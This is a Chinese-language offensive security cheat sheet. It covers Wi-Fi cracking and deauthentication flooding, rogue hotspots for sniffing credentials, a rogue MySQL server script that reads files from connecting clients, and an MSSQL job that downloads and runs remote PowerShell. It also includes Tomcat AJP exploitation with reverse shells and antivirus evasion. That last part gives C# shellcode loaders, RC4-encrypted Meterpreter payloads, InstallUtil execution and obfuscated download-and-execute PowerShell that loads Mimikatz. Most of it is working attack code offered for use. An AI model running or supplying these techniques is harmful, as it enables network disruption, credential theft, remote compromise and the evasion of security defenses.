通过社交软件建立关系，如男女朋友，师父徒弟，HR，寻求业务等进行钓鱼攻击.
```


# 近源攻击


# WI-FI破解

**wifite**

```
Kali下工具wifite，加载网卡，开启监听模式，#airmon-ng check kill
>airmon-ng start wlan1
安装hcxtools v4.2.0或更高版本，hcxdumptool v4.2.0或更高版本
>apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
>git clone https://github.com/ZerBea/hcxtools
>cd hcxtools
>make
>make install 
>git clone https://github.com/ZerBea/hcxdumptool
>cd hcxdumptool
>make
>make install
>wifite –-dict /root/Desktop/wordlist.txt  加载
```

**Aircrack-ng**

```
>airmon-ng start wlan0 开启监听模式
>airodump-ng wlan0mon  查看数据包
>airodump-ng –c 1 –bssid APmac –w name wlan1mon保存某AP数据包
>aireplay-ng –deauth 10 –a APmac wlan0mon  deauth攻击
>aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon deauth攻击某个设备直至获取handshake(握手包)
>airmon-ng stop wlan0mon  关闭监听模式
>aircrack-ng –w wordlist.txt name.cap 指定字典破解密码
```


# 无线干扰

**Beacon flood**

```
需切换网卡为监听模式
>airmon-ng start wlan1
创建大量虚假热点Mdk3 mon0 b
>mdk3 wlan1mon b -f /root/wifi.txt -a -s 1500
```

**Deauth flood**

```
针对AP
>airmon-ng start wlan1
>aireplay-ng –deauth 10 –a AP's mac address mon0
针对AP内设备
>airmon-ng start wlan1       将网卡置为监听模式
>airodump-ng wlan1mon –bssid 目标ap的ssid
>aireplay-ng -0 0 -a ap的ssid -c AP的ssid wlan0mon 开始攻击
```

**Mdk3 destruction**

```
针对范围内
>mdk3 wlan1mon d
针对AP
>airodump-ng wlan1mon
>mdk3 wlan1mon a -a APmac 发起攻击
黑名单
>mdk3 wlan1mon d –c 信道 –b /blacklist.txt.
>mdk3 wlan1mon  b -n test -w -g -c 1 -s 200
```

**WiFi芯片esp8266**

**Mdk4**

```
>mdk4 wlan0mon d
```

**CVE-2018-4407**

```
Scapy
send(IP(dst="192.168.1.132",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
Apple iOS 11及更早版本：所有设备（升级到iOS 12的部分设备）
Apple macOS High Sierra（受影响的最高版本为10.13.6）：所有设备（通过安全更新2018-001修复）
Apple macOS Sierra（受影响的最高版本为10.12.6）：所有设备（通过安全更新2018-005中修复）
Apple OS X El Capitan及更早版本：所有设备
```

**绕过mac地址认证**

**Ifconfig**

```
>ifconfig wlan1 down
>ifconfig wlan1 hw ether xx:xx:xx:xx:xx:xx
>ifconfig wlan1 up
```

**Macchanger**

```
>macchanger –m xx:xx:xx:xx:xx:xx wlan1
>macchanger –r wlan1
```


# 钓鱼网络

**Hostapd**

```
>apt install hostapd dnsmasq
>cd /etc/hostapd
>vim open.conf 创建无加密热点
Interface=wlan1
Ssid=FreeWIFI
Driver=nl80211
Channel=1
Hw_mode=g

>vim /etc/dnsmasq.conf
Dhcp-range=10.0.0.1, 10.0.0.255,12h
Interface=wlan1

>systemctl restart dnsmasq
消除网卡限制
>nmcli radio wifi off
>rfkill unblock wlan
>ifconfig wlan1 10.0.0.1/24
>hostapd open.conf
嗅探
>sysctl –w net.ipv4.ip_forward=1
>iptables –t nat –A POSTROUTING –o 网卡 –j MASQUERADE
>bettercap –iface wlan1
>net.show
>net.sniff on
>driftnet –i wlan1
```

**Hostapd-wpe**

```
>apt install hostapd-wpe
>vim /etc/hostapd-wpe/hostapd-wpe.conf
配置interface=wlan1
Ssid=
Channel=
证书修改
>cd /etc/hostapd-wpe/certs/
文件ca.cnf server.cnf client.cnf
修改countrName stateOrProvinceName localityName …….
>rm –rf *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
>make clean
>./bootstrap
>make install
执行创建热点
>hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
获取到密码时使用asleep破解
>asleap –C Challenge值 –R response值 –W 字典文件
```


# 克隆卡


# 蓝牙


# BadUSB

**USBCopyer**

```
https://github.com/kenvix/USBCopyer
```


# MySQL不登陆执行命令

```
不登录直接执行sql
mysql -uaHmin -proot test -e "select now()" -N >H:/work/target1.txt
mysql -uroot -e "show databases;" >1.txt
```


# MySQL开启外联

```
>grant all privileges on user.* to user@"%" identified by "P@ssw0rd";
```


# MySQL连接读取文件

```
https://github.com/Gifts/Rogue-MySql-Server
客户端必须启用LOCAL-INFILE 
客户端支持非SSL连接
目标web存在adminer等可检查数据库连接的脚本。
攻击机本地运行python构造假mysql服务，使用目标web连接，读取文件。
#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3305))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
```


# MSSQL\&Agent之Job上线

```
USE msdb; EXEC dbo.sp_add_job @job_name = N'syspolicy_purge_now' ; EXEC sp_add_jobstep @job_name = N'syspolicy_purge_now', @step_name = N'syspolicy_purge_step1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'syspolicy_purge_now '; EXEC dbo.sp_start_job N'syspolicy_purge_now ';
使用在注入点处，使用burp进行url编码，编码后前面加%20(空格URL编码)
```


# TomcatAjp之LFI\&RCE

```
LFI
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
>python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/41.png)

```
RCE
>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.107 LPORT=12138 R >/var/www/html/1.jpg
配合目标文件上传传入服务器
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/42.png)

```
>java -jar ajpfuzzer_v0.6.jar
>connect 192.168.0.110 8009
>forwardrequest 2 "HTTP/1.1" "/index.jsp" 192.168.0.107 192.168.0.107 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:index.jsp","javax.servlet.include.path_info:/1.jpg","javax.servlet.include.servlet_path:/"
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/43.png)


# 防御规避


# C#源码免杀


# 直接编译

```
生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
MSF启动监听
Payload粘贴到位置
```

```csharp
	using System;
	using System.Runtime.InteropServices;
	namespace TCPMeterpreterProcess
	{
		class Program
		{
			static void Main(string[] args)
			{
				byte[] shellcode = new byte[] {payload here};
				UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
				Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
				IntPtr hThread = IntPtr.Zero;
				UInt32 threadId = 0;
				// prepare data
				IntPtr pinfo = IntPtr.Zero;
				// execute native code
				hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
				WaitForSingleObject(hThread, 0xFFFFFFFF);
			}
			private static UInt32 MEM_COMMIT = 0x1000;
			private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
			[DllImport("kernel32")]
			private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
			UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
			[DllImport("kernel32")]
			private static extern bool VirtualFree(IntPtr lpAddress,
			UInt32 dwSize, UInt32 dwFreeType);
			[DllImport("kernel32")]
			private static extern IntPtr CreateThread(
				UInt32 lpThreadAttributes,
				UInt32 dwStackSize,
				UInt32 lpStartAddress,
				IntPtr param,
				UInt32 dwCreationFlags,
				ref UInt32 lpThreadId
			);
			[DllImport("kernel32")]
			private static extern bool CloseHandle(IntPtr handle);
			[DllImport("kernel32")]
			private static extern UInt32 WaitForSingleObject(
				IntPtr hHandle,
				UInt32 dwMilliseconds
			);
			[DllImport("kernel32")]
			private static extern IntPtr GetModuleHandle(
				string moduleName
			);
			[DllImport("kernel32")]
			private static extern UInt32 GetProcAddress(
				IntPtr hModule,
				string procName
			);
			[DllImport("kernel32")]
			private static extern UInt32 LoadLibrary(
				string lpFileName
			);
			[DllImport("kernel32")]
			private static extern UInt32 GetLastError();
		}
	}
```

```
Visual studio创建C#.net framework控制台程序编译可过杀软
```


# 加密处理

```
生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
粘贴payload后编译加密
```

```csharp
	using System;
	using System.Collections.Generic;
	using System.IO;
	using System.Linq;
	using System.Security.Cryptography;
	using System.Text;
	using System.Threading.Tasks;
	using System.Reflection;
	using System.Runtime.CompilerServices;
	using System.Runtime.InteropServices;
	namespace Payload_Encrypt_Maker
	{
		class Program
		{
			// 加密密钥，可以更改，加解密源码中保持KEY一致就行
			static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
			static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
			static byte[] payload = { payload here };    // 替换成MSF生成的shellcode
			private static class Encryption_Class
			{
				public static string Encrypt(string key, string data)
				{
					Encoding unicode = Encoding.Unicode;
					return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
				}
				public static byte[] Encrypt(byte[] key, byte[] data)
				{
					return EncryptOutput(key, data).ToArray();
				}
				private static byte[] EncryptInitalize(byte[] key)
				{
					byte[] s = Enumerable.Range(0, 256)
					.Select(i => (byte)i)
					.ToArray();
					for (int i = 0, j = 0; i < 256; i++)
					{
						j = (j + key[i % key.Length] + s[i]) & 255;
						Swap(s, i, j);
					}
					return s;
				}
				private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
				{
					byte[] s = EncryptInitalize(key);
					int i = 0;
					int j = 0;
					return data.Select((b) =>
					{
						i = (i + 1) & 255;
						j = (j + s[i]) & 255;
						Swap(s, i, j);
						return (byte)(b ^ s[(s[i] + s[j]) & 255]);
					});
				}
				private static void Swap(byte[] s, int i, int j)
				{
					byte c = s[i];
					s[i] = s[j];
					s[j] = c;
				}
			}
			static void Main(string[] args)
			{
				byte[] result = Encryption_Class.Encrypt(KEY, payload);
				int b = 0;
				for (int i = 0; i < result.Length; i++)
				{
					b++;
					if (i == result.Length + 1)
					{ Console.Write(result[i].ToString()); }
					if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
				}
			}
		}
	}
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/57.png)

```
编译解密
```

```csharp
	using System;
	using System.Collections.Generic;
	using System.Linq;
	using System.Text;
	using System.Runtime.InteropServices;
	using System.Threading;
	using System.Reflection;
	using System.Runtime.CompilerServices;

	namespace NativePayload_Reverse_tcp
	{
		public class Program
    {
			public static void Main()
			{
				Shellcode.Exec();
      }
    }
    class Shellcode
    {
      public static void Exec()
      {
        string Payload_Encrypted;
        Payload_Encrypted = "payload here";
        string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
        byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
        for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
        {
          byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
          _X_to_Bytes[i] = current;
        }
        // 解密密钥，可以更改，加解密源码中保持KEY一致就行
				byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
				byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
				// 加载shellcode
				IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
				Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
				CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
				Thread.Sleep(2000);
			}
			public static byte[] Decrypt(byte[] key, byte[] data)
			{
				return EncryptOutput(key, data).ToArray();
			}
			private static byte[] EncryptInitalize(byte[] key)
			{
				byte[] s = Enumerable.Range(0, 256)
				.Select(i => (byte)i)
				.ToArray();
				for (int i = 0, j = 0; i < 256; i++)
				{
					j = (j + key[i % key.Length] + s[i]) & 255;
					Swap(s, i, j);
				}
				return s;
			}
			private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
			{
				byte[] s = EncryptInitalize(key);
				int i = 0;
				int j = 0;
				return data.Select((b) =>
				{
					i = (i + 1) & 255;
					j = (j + s[i]) & 255;
					Swap(s, i, j);
					return (byte)(b ^ s[(s[i] + s[j]) & 255]);
					});
			}
			private static void Swap(byte[] s, int i, int j)
			{
				byte c = s[i];
				s[i] = s[j];
				s[j] = c;
			}
			[DllImport("kernel32.dll")]
			public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
			[DllImport("kernel32.dll")]
			public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
		}
	}
```


# CSC+InstallUtil

```
生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
Payload粘贴到InstallUtil-Shellcode.cs中使用csc编译
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/58.png)

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\Users\y\Desktop\shell.exe C:\Users\y\Desktop\InstallUtil-ShellCode.cs
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/59.png)

```
执行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\shell.exe
```


# XOR和AES编码

```
与上文xor加密类似
```


# Powershell免杀


# 直接生成

```
>msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.0.108 lport=12138 -f psh -o /var/www/html/1.ps1
执行
>powershell -ep bypass -noexit -file 1.ps1
Powershell行为检测bypass
>powershell -noexit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.0.108/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
```


# 行为检测

```
>powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
```


# 分块免杀

```
生成
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.0.108 LPORT=443 -f psh-net -o shity_shellcode.ps1
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/700.png)

```
先来测试一下，把ps1文件的shellcode换成一段无害的字符串
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/701.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/702.png)

```
结果发现还是被查杀了
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/703.png)

```
这表明大多数检测来自PowerShell模板，而不是Shellcode本身。
下面几种bypass方法
1.将字符串分成几部分并创建中间变量；
2.添加大量垃圾备注；
3.添加一些垃圾指令，例如循环或睡眠指令（对于沙盒有用）。
[DllImport("kernel32.dll")]
变为
[DllImport("ke"+"rne"+"l32.dll")] #可绕过赛门铁克
$przdE.ReferencedAssemblies.AddRange(@("System.dll",[PsObject].Assembly.Location))
变为
$magic="Syst"+"em"+".dll";
$przdE.ReferencedAssemblies.AddRange(@($magic,[PsObject].Assembly.Location))
分割shellcode
$sc0=<shellcode的第1部分>; …$sc7=<shellcode的第8部分>; [Byte[]]$tcomplete_sc=[System.Convert]::FromBase64String($sc0+$sc1+…+$sc7)
一些细节可参照
https://raw.githubusercontent.com/kmkz/Pentesting/master/AV_Evasion/AV_Bypass.ps1
我不太懂汇编语言，所以没有添加无害指令。
这里直接使用一键生成的bash脚本，有时间的可以读读里面的命令
https://github.com/darksh3llRU/tools/blob/master/psh-net_shellcode_fastchange.sh
这个脚本是生成个hta的，脚本以1337个字符来分块
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/704.png)

```
我测试的时候1337个字符会被赛门铁克查杀到，我这里修改成250个字符来分块
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/705.png)

```
因为我没加汇编指令，中间这里直接按任意键跳过即可，懂的可以在开头添加一些指令，例如xor，inc，dec，add，sub，mov，nop等
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/706.png)

```
执行完后会生成一些文件
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/707.png)

```
我们只用final_pshnet_revhttps.ps1这个文件，打开修改一下
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/708.png)

```
修改成
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/709.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/710.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/711.png)


# 拆分+C编译

```
#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
return 0;
}
```


# CobaltStrike+Powershell免杀

```
From: https://y4er.com/post/cobalt-strike-powershell-bypass/
powershell>$string = ''
powershell>$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('[cs生成的shellcode]')
powershell>$s |foreach { $string = $string + $_.ToString()+','}
powershell>$string>c:\1.txt
修改ps脚本
[Byte[]]$var_code = [Byte[]](payload)
再混淆一下函数和变量
绕过执行命令的拦截
使用cs的参数欺骗
beacon > argue cmd.exe blablabla
```




---

[Next Page](/llms-full.txt/1)

